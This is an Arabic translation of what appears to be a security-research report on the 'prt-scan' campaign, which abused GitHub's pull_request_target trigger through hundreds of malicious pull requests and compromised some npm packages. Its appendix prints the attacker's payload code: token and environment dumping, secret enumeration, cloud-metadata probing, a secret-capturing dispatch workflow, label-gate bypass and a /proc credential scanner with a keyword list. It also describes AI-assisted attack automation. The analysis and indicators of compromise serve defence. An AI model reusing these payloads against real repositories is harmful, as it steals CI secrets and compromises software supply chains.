في 2 أبريل 2026، اكتشف الباحث الأمني ​​تشارلي إريكسن علنًا حملة آلية تستغل بيانات GitHub. pull_request_target مشغل سير العمل. المهاجم الذي يعمل تحت الحساب ezmtebo، مفتوح أكثر من 475 من العلاقات العامة الضارة في 26 ساعة استهداف المستودعات التابعة لكل من المنظمات البارزة والهواة. هذا المهاجم يذكرنا hackerbot-claw، مهاجم CI/CD مدعوم بالذكاء الاصطناعي والذي استخدم خمس طرق استغلال مختلفة عبر سبع هجمات ناجحة رفيعة المستوى.

لكن التقارير العامة عن prt-scan غاب عن بداية القصة. حددت Wiz Research ست موجات إجمالية من النشاط من جهة التهديد نفسها، بدءًا من 11 مارس 2026 – قبل ثلاثة أسابيع من الكشف العلني. عبر جميع الموجات الست، فتح المهاجم ما يزيد عن 500 من العلاقات العامة الضارة، ونجح في اختراق حزمتين على الأقل من حزم npm، وتطور من نصوص bash الأولية إلى حمولات مبنية على الذكاء الاصطناعي ومدركة للغة. ومع ذلك، على الرغم من الحمولات المعقدة متعددة المراحل، فقد كشف الهجوم سوء الفهم الأساسي لنموذج التهديد الخاص بـ GitHubمما يحد بشكل كبير من نجاحهم.

الهجوم باختصار

تستغل الحملة عملية تهيئة خاطئة موثقة جيدًا ولكنها لا تزال منتشرة على نطاق واسع: GitHub pull_request_target مشغل. على عكس pull_request، يعمل هذا المشغل في سياق المستودع الأساسي، مما يمنح الوصول إلى أسرار المستودع حتى عندما ينشأ PR من تفرع. قواعد لعب المهاجم:

  1. البحث عن المستودعات باستخدام pull_request_target ضمن إجراءات جيثب

  2. شوكة المستودع المستهدف

  3. إنشاء فرع اسمه prt-scan-12-hex-chars

  4. أدخل حمولة ضارة في ملف يتم تنفيذه أثناء CI (conftest.py, package.jsonملف تعريفي, build.rs، إلخ.)

  5. افتح علاقات عامة بعنوان غير ضار “ci: تحديث تكوين التكوين”

  6. إذا تم تشغيل سير العمل الضار: سرقة GITHUB_TOKEN، وتعداد الأسرار، والتحقق من البيانات التعريفية السحابية (AWS/Azure/GCP)، وبيانات الاعتماد التصفية عبر علامات سجل سير العمل المشفرة بـ base64 وتعليقات العلاقات العامة

  7. لو NPM_TOKEN تم العثور عليه: نشر إصدار حزمة ضارة

ستة موجات، ممثل واحد

المرحلة 1: التحقيق

الموجة 1أ: testedbefore (11-13 مارس)
بريد إلكتروني:
testedbefore@proton.me

يعود تاريخ أول نشاط للحملة إلى 11 مارس 2026 حوالي الساعة 08:00 بالتوقيت العالمي، عندما بدأ حساب GitHub المحذوف الآن في فتح علاقات عامة ضارة. عبر 10 علاقات عامة نرى مستودعات صغيرة مستهدفة. يقدم جميع المستفيدين الرئيسيين TTPs متسقة: the prt-scan- بادئة الفرع، نفس العنوان والنص الأساسي، و pull_request_target استغلال.

كان المهاجم يختبر بالفعل نواقل حقن متعددة. وتشمل هذه setup.py باستخدام بايثون os.system() وأهداف Makefile مع .PHONY: __prt_exfil. في وقت مبكر من هذه الموجة الأولى، يمكننا أن نرى المهاجم يقوم ببناء حمولات معقدة تتميز بمراحل مشفرة عبر أنماط RECON/DISPATCH التي سيتم تتبعها طوال الحملة.

الموجة 1 ب: beforetested-boop (13-16 مارس)
بريد إلكتروني:
testedbefore+89@proton.me

بعد إحدى عشرة ساعة testedbeforeفي العلاقات العامة الأخيرة لـ، نرى هذا الحساب الجديد يواصل نهج الصدفة الأولية، ويستهدف المشاريع الأكبر. تمكن هذا الحساب من إدارة 47 من العلاقات العامة، حيث بدأ المهاجم في تكثيف جهوده. واصلت الحمولات النمط السابق من خلال حقن package.json وMakefile.

المرحلة الثانية: النشر

الموجة 2 أ: 420tb (28 مارس)
بريد إلكتروني:
testedbefore+55@proton.me

بعد فجوة لمدة أسبوعين في النشاط الملحوظ، يلتقط الحساب الجديد الإجراء. عبر 11 لاعبًا رئيسيًا في 37 دقيقة، نرى المهاجم يبدأ في تحسين أسلوبه.

الموجة 2ب: 69tf420 (28-29 مارس)
بريد إلكتروني:
testedbefore+99@proton.me

وبعد ساعتين، 69tf420 (معرف جيثب 271847720) استمر بهجمات مماثلة. كانت TTPs المتسقة موجودة: اصطلاح تسمية الفرع، وعنوان العلاقات العامة، ووكيل المستخدم python-requests/2.32.5.
كانت الحمولة في هذه الموجة عبارة عن نص باش خام متسق مكون من 351 سطرًا (.github/prt_exfil.sh) تم إسقاطها مباشرةً في دليل سير العمل دون أي تشويش.

.github/prt_exfil.sh (367 lines)
  ├── EXFIL stage (env dump)
  ├── RECON stage (secrets API, workflow scan, cloud metadata)
  ├── DISPATCH stage (create temp workflow, push, trigger)
  ├── LABEL_BYPASS stage (auto-label PRs)
  └── DELAYED stage (background /proc scanner)

المرحلة 3: مقياس الذكاء الاصطناعي المعزز (2-3 أبريل)

الموجة 3أ: elzotebo (2 أبريل)
بريد إلكتروني:
elzotebo@proton.me

بدأ هذا الحساب في تجربة وضع الملفات “الذكية” واستهدف المستودعات رفيعة المستوى. تمكنت من إدارة 13 نقطة جذب قبل توقف النشاط. وشمل ذلك الهلوسة الغريبة مثل pip.py، فضلا عن العودة في كثير من الأحيان إلى prt_exfil.sh حمولة باش.

الموجة 3ب: ezmtebo (2-3 أبريل)
بريد إلكتروني:
elzotebo+88@proton.me

وهذا يقودنا إلى الموجة التي تم الإبلاغ عنها علنًا. تم إنشاء الحساب في 2 أبريل الساعة 20:59 بالتوقيت العالمي، مع فتح أول علاقات عامة ضارة بعد دقيقتين فقط. خلال الـ 26 ساعة القادمة فتح المهاجم أكثر من 475 نقطة اتصال.

عند هذه النقطة، كان المهاجم قد تطور بشكل ملحوظ: أغلفة تم إنشاؤها بواسطة الذكاء الاصطناعي ومدركة للمستودع وتتكيف مع مجموعة التكنولوجيا الخاصة بكل هدف. انتقل إلى ملفات الاختبار الخاصة بـ Go repos والبرامج النصية npm لمشاريع JavaScript، conftest.py لبيثون. الحمولات الصافية المصممة بشكل أفضل، مع المزيد من التشويش، والمراحل الثقيلة (RECON، DISPATCH، DELAYED) مشفرة بالأساس 64.

تحليل الحمولة: تصميم طموح، وتنفيذ غير دقيق

وعلى الرغم من الاستهداف بمساعدة الذكاء الاصطناعي في الحملة، تكشف الحمولات عن فجوة بين الطموح والتنفيذ. حاول المهاجم استخدام حمولة متطورة متعددة المراحل، لكنه ملأها بتقنيات تبدو غير منطقية للخبير ونادرا ما تنجح في الممارسة العملية.

الشكل العام

للحصول على تفاصيل كاملة للحمولة، راجع الملحق.

تتبع كل حمولة نفس البنية المكونة من خمس مراحل، بغض النظر عن نقطة الحقن:

مرحلة فعل يعمل عادة (إذا تم تنفيذه)؟
اكسفيل تفريغ env vars + الرمز المميز إلى السجلات نعم
ريكون تعداد الأسرار/سير العمل عبر واجهة برمجة التطبيقات (API)، والتحقق من البيانات الوصفية السحابية نعم
إرسال دفع سير العمل المؤقت لالتقاط القيم السرية لا (يحتاج للكتابة)
LABEL_BYPASS تطبيق الملصقات تلقائيًا على البوابات الالتفافية لا (يحتاج للكتابة)
تأخير الماسح الضوئي للخلفية /proc، والإخراج عبر تعليقات العلاقات العامة نادرًا (يحتاج إلى عدائين مشتركين)

يقوم المهاجم أيضًا بإنشاء أغلفة مناسبة للغة:

كومة الهدف ملف الحقن مشغل
بايثون/بيتيست conftest.py التحميل التلقائي pytest
Node.js package.json (البرامج النصية) npm
الصدأ build.rs بناء البضائع
إجراءات جيثب action.yml (مركب) تنفيذ خطوة العمل
بيثون عشوائية قم بإضافة .py الموجود مسبقًا وقت الاستيراد

علامات التطور المنخفض

على الرغم من الحمولة التفصيلية، تكشف العديد من خيارات التصميم عن سوء فهم المهاجم لنموذج إذن GitHub:

  1. تجاوز التسمية هو رمز ميت: محاولة تجاوز سير العمل المرتبط بالملصقات عن طريق إنشاء الملصقات وتطبيقها عبر واجهة برمجة التطبيقات هي عملية دائرية، ومن غير المرجح حدوثها GITHUB_TOKEN الافتراضية في pull_request_target سير العمل.

  2. أذونات الاستغلال الأعمى: المحاولات في مرحلة الإرسال لإنشاء سير عمل جديد باستخدام الرموز المميزة المسروقة تجهل سياق الأذونات الذي يتم استغلاله.

  3. ملفات الحقن غير متطابقة: على الرغم من الاستهداف، كثيرًا ما يقوم الهجوم بإقران الحمولة والمستودع الخاطئين، مثل الحقن build.rs في مستودع Python SDK.

  4. أعمى البيانات الوصفية التحقيق: محاولة الوصول إلى IMDS على المتسابقين المستضافين ذاتيًا محكوم عليها بالفشل ومن المحتمل أن تؤدي إلى الاكتشاف.

يُظهر الهجوم الأتمتة وليس الفهم. قام المهاجم ببناء أغلفة متعددة اللغات، ومراحل قاعدة 64 معيارية، وأحرف فريدة لكل هدف. لكنهم فشلوا في التحقق من صحة ما إذا كانت التقنيات ستعمل ضد نموذج إذن GitHub.

تأثير سلسلة التوريد: معدل نجاح منخفض، ولكن تم تأكيد اختراق npm

عبر أكثر من 450 محاولة استغلال تم تحليلها، لقد لاحظنا معدل نجاح <10%. في معظم الحالات، كانت الهجمات الناجحة تستهدف مشاريع الهواة الصغيرة، ولم تكشف إلا عن بيانات اعتماد GitHub سريعة الزوال لسير العمل. بالنسبة للجزء الاكبر، لم تمنح هذه الحملة المهاجم حق الوصول إلى البنية التحتية للإنتاج أو بيانات الاعتماد السحابية أو مفاتيح واجهة برمجة التطبيقات المستمرة، باستثناء استثناءات بسيطة. نجحت الأهداف عالية القيمة، بما في ذلك Sentry وOpenSearch وIPFS وNixOS وJina AI وrecharts، في منع الهجوم من خلال مجموعة من بوابات موافقة المساهمين لأول مرة، وسير العمل المقيد من قبل الممثل، وشروط التشغيل المستندة إلى المسار. وتوضح الحملة أنه في حين pull_request_target لا تزال الثغرات الأمنية قابلة للاستغلال على نطاق واسع، وتعتبر الممارسات الأمنية الحديثة لـ CI/CD، وخاصة متطلبات موافقة المساهمين، فعالة في حماية المستودعات رفيعة المستوى.

ومع ذلك، نجح المهاجم في اختراق حزمتين من npm على الأقل باستخدام مشرف مشترك، عبر 106 إصدارات: عبر @codfish/eslint-config و @codfish/actions، إصدارات مثل 0.0.0-PR-PR#--commit

مؤشرات الهجوم المدعمة بالذكاء الاصطناعي

تشير العديد من الخصائص إلى أن هذه الحملة تستفيد من قدرات الذكاء الاصطناعي/ ماجستير إدارة الأعمال:

  1. سرعة: ~ 7 علاقات عامة في الساعة متواصلة لأكثر من 22 ساعة

  2. الاستهداف التكيفي: يحدد ديناميكيًا اللغة وإطار العمل ومشغل الاختبار وتكوين CI

  3. الحمولات الاصطلاحية: الكود الذي تم إنشاؤه يتطابق مع اصطلاحات المستودع (انتقل إلى بنية ملف الاختبار، وأنماط pytest conftest، وخطافات البرنامج النصي npm)

يمثل هذا تطورًا في قدرة المهاجم: أدوات فعالة يمكنها التفرع والتحليل والحقن والإرسال بسرعة الآلة.

التوصيات

قم بمراجعة مؤسسة GitHub الخاصة بك بحثًا عن مؤشرات التسوية (المدرجة أدناه). يجب على عملاء Wiz الرجوع إلى استشارات مركز التهديدات لدينا. للحصول على إرشادات وقائية، يمكنك الرجوع إلى منشور مدونتنا حول تقوية GitHub.

خاتمة

ال prt-scan توضح الحملة كيف تعمل الأتمتة بمساعدة الذكاء الاصطناعي على تقليل العوائق أمام هجمات سلسلة التوريد واسعة النطاق. كان تحديد مسارات العمل الضعيفة، وصياغة نقاط الحقن المعقولة، والتكيف مع مجموعات التكنولوجيا المختلفة، يتطلب في السابق خبرة وتنسيقًا يدويًا. ويمكن الآن تنفيذه بسرعة الآلة عبر مئات الأهداف بواسطة مهاجمين ذوي مستوى منخفض من التطور.

قد يبدو معدل نجاح الحملة بنسبة 10% منخفضًا، ولكن عند 500 محاولة تقريبًا، فإن ذلك يضيف إلى العشرات من التنازلات الناجحة. لوحظ أن سرقة بيانات الاعتماد التي تم التحقق منها تؤثر على مفاتيح AWS، ورموز Cloudflare API المميزة، ورموز مصادقة Netlify. علاوة على ذلك، يتعلم المهاجم: أظهرت كل موجة تهربًا أفضل، وحمولات أكثر تطورًا، وأمنًا تشغيليًا أفضل.

هذا هو العدو الجديد لأمن سلسلة التوريد: آلي، وقابل للتكيف، ويعمل بشكل أسرع مما يمكن للمراجعة اليدوية اكتشافه.

مؤشرات التسوية

حسابات جيثب

  • تم اختباره من قبل

  • قبل اختبار بوب

  • 420 تيرابايت

  • 69tf420

  • إلزوتيبو

  • ezmtebo

نمط الفرع الضار: prt-scan-[12-character-hex]

توقيعات العلاقات العامة

  • عنوان: ‘ci: تحديث تكوين البناء’

  • جسم: “التحديث التلقائي لتكوين البناء.”

  • وكيل المستخدم: python-requests/2.32.5

علامات الحمولة في سجلات سير العمل

==PRT_EXFIL_START_[nonce]==
==PRT_EXFIL_END_[nonce]==
==PRT_RECON_START_[nonce]==
==PRT_RECON_END_[nonce]==
==PRT_HARVEST_START_[nonce]==
==PRT_HARVEST_END_[nonce]==
PRT_GIT_AUTH=
PRT_LABEL_BYPASS_[nonce]=

ملحق: تحليل الحمولة

المرحلة 1 – EXFIL: تفريغ متغيرات البيئة على الفور واستخراج رمز GitHub من git config، والتصفية عن طريق طباعة gzipped وbase64-encoded إلى سجلات سير العمل حيث يمكن للمهاجم استردادها.

echo "==PRT_EXFIL_START_$NONCE=="                                                                                                                                                                                                          
  (env; echo "PRT_GIT_AUTH=$(git config --get-all \                                                                                                                                                                                            
   http.https://github.com/.extraheader 2>/dev/null || true)") \                                                                                                                                                                              
    | gzip -c | base64                                                                                                                                                                                                                         
echo "==PRT_EXFIL_END_$NONCE=="

المرحلة الثانية – RECON: استخدام الرمز المميز المسروق، وتعداد الأسماء السرية عبر GitHub API، وسرد بيئات النشر وملفات سير العمل، والتحقق من نقاط نهاية البيانات الوصفية السحابية بحثًا عن فرص SSRF.

المتطلبات المسبقة: يحتاج الرمز المميز إلى إجراءات: القراءة أو بيانات التعريف: قراءة (الافتراضي في معظم مهام سير العمل).

__PRT_TK=$(git config --get-all http.https://github.com/.extraheader \
    | sed -n 's/.*basic //p' | base64 -d | cut -d: -f2)                                                                                                                                                                                        
                                                                                                                                                                                                                                               # Enumerate secret NAMES via API                                                                                                                                                                                                             
curl -H "Authorization: Bearer $__PRT_TK" \                                                                                                                                                                                                  
  "$API/repos/$REPO/actions/secrets"           # Repo secrets                                                                                                                                                                                
curl ... "$API/repos/$REPO/actions/organization-secrets"  # Org secrets                                                                                                                                                                     
curl ... "$API/repos/$REPO/environments"       # Environment list                                                                                                                                                                            
                                                                                                                                                                                                                                               
# Probe cloud metadata (SSRF)                                                                                                                                                                                                                
curl http://169.254.169.254/latest/meta-data/iam/  # AWS                                                                                                                                                                                   
curl http://169.254.169.254/metadata/instance      # Azure                                                                                                                                                                                   
curl http://metadata.google.internal/...           # GCP

المرحلة 3 – الإرسال: إذا كان الرمز المميز لديه حق الوصول للكتابة، فقم بإنشاء ملف سير عمل مؤقت على الفرع الافتراضي الذي يشير إلى جميع الأسماء السرية المكتشفة، ثم قم بتشغيله عبر Workflow_dispatch لالتقاط القيم السرية الفعلية في السجلات.

المتطلبات المسبقة: يحتاج الرمز المميز إلى محتويات: الكتابة + الإجراءات: الكتابة.

# 1. Parse all workflow YAMLs for secrets.XXX references
refs = re.findall(r'secrets\.([A-Za-z_][A-Za-z0-9_]*)', body)
all_secrets.update(refs)

# 2. Build exfil workflow
wf_yaml = f'''name: prt-tmp-nonce
on: workflow_dispatch
jobs:
  grab:
    runs-on: ubuntu-latest
    env:
{chr(10).join(f'      s: ${ secrets.s }' for s in all_secrets)}
    steps:
       - run: env | gzip -c | base64
'''

# 3. Push to default branch + dispatch
gh('PUT', f'/repos/repo/contents/.github/workflows/.prt_tmp_nonce.yml',
   'content': base64.b64encode(wf_yaml), 'branch': default_branch)
gh('POST', f'/repos/repo/actions/workflows/.prt_tmp_nonce.yml/dispatches',
   'ref': default_branch)

المرحلة 4 – LABEL_BYPASS: تحليل ملفات سير عمل المستودع لشروط بوابات التسمية (على سبيل المثال، إذا: github.event.label.name == ‘آمن للاختبار’)، ثم قم بإنشاء التسمية المطلوبة وتطبيقها على العلاقات العامة الضارة لتشغيل مسارات عمل مميزة إضافية.

المتطلبات المسبقة: يحتاج الرمز المميز إلى مشكلات: الكتابة أو طلبات السحب: الكتابة لتطبيق التصنيفات.

# Parse workflow YAMLs for label conditions
__PRT_LABELS=$(echo "$WORKFLOW_DATA" | python3 -c "
import re
# Find: if: github.event.label.name == 'safe to test'
m = re.search(r'label\.name\s*==\s*[\"']([^\"']+)[\"']', body)
if m: print(m.group(1))
")

# Create label if needed, then apply to PR
curl -X POST "$API/repos/$REPO/labels" \
  -d '"name":"'"$LABEL"'","color":"0e8a16"'
curl -X POST "$API/repos/$REPO/issues/$PR/labels" \
  -d '"labels":["'"$LABEL"'"]'

المرحلة 5 – مؤجلة: قم بتشغيل برنامج Python الخفي في الخلفية الذي يقوم بمسح /proc/*/environ كل ثانيتين لمدة 10 دقائق، والتقاط الأسرار المحملة بخطوات مهمة لاحقة، ثم التصفية عبر تعليقات العلاقات العامة التي تستمر حتى إذا تم حذف سجلات سير العمل. على سبيل المثال، في إحدى الحالات، لاحظنا أن ملف EXFIL الأولي يلتقط رمز GitHub المميز فقط، ولكن البرنامج الخفي DELAYED اكتشف AWS_SECRET_ACCESS_KEY عندما تم تحميله بعد دقائق من خلال خطوة اختبار e2e، ونشره على تعليقات العلاقات العامة. ومع ذلك، لم يتم التقاط الأسرار الأخرى مثل AWS_ACCESS_KEY_ID المرتبط.

المتطلبات المسبقة: يحتاج الرمز إلى طلبات السحب: الكتابة أو المشكلات: الكتابة لنشر التعليقات؛ مطلوب نظام ملفات Linux /proc.

INTERESTING = [                                                                                                           
      "NETLIFY", "ALCHEMY", "INFURA", "STRIPE", "AWS_SECRET",                                                                                                                                                                                  
      "NPM_TOKEN", "DOCKER", "CLOUDFLARE", "DATABASE_URL",                                                                                                                                                                                     
      "PRIVATE_KEY", "SENTRY", "SENDGRID", "TWILIO", "PAYPAL",                                                                                                                                                                                 
      "OPENAI", "ANTHROPIC", "GEMINI", "DEEPSEEK", "COHERE",                                                                                                                                                                                   
      "MONGODB", "REDIS_URL", "SSH_PRIVATE",                                                                                                                                                                                                   
  ]                                                                                                                                                                                                                                           
for _ in range(300):  # 10 minutes (300 × 2s)
    time.sleep(2)
    # Scan ALL process environments
    for pid in os.listdir("/proc"):
        if pid.isdigit():
            data = open(f"/proc/pid/environ", "rb").read()
            for chunk in data.split(b"\x00"):
                k, _, v = chunk.partition(b"=")
                if any(iw in k.upper() for iw in INTERESTING):
                    found[k] = v

    if found:
        # Post to PR comment (survives log deletion)
        body = f"==PRT_DELAYED_START_NONCE==\n"
        body += base64.b64encode(gzip.compress(data))
        body += f"\n==PRT_DELAYED_END_NONCE=="
        post_comment(token, repo, pr, body)

شاركها.
اترك تعليقاً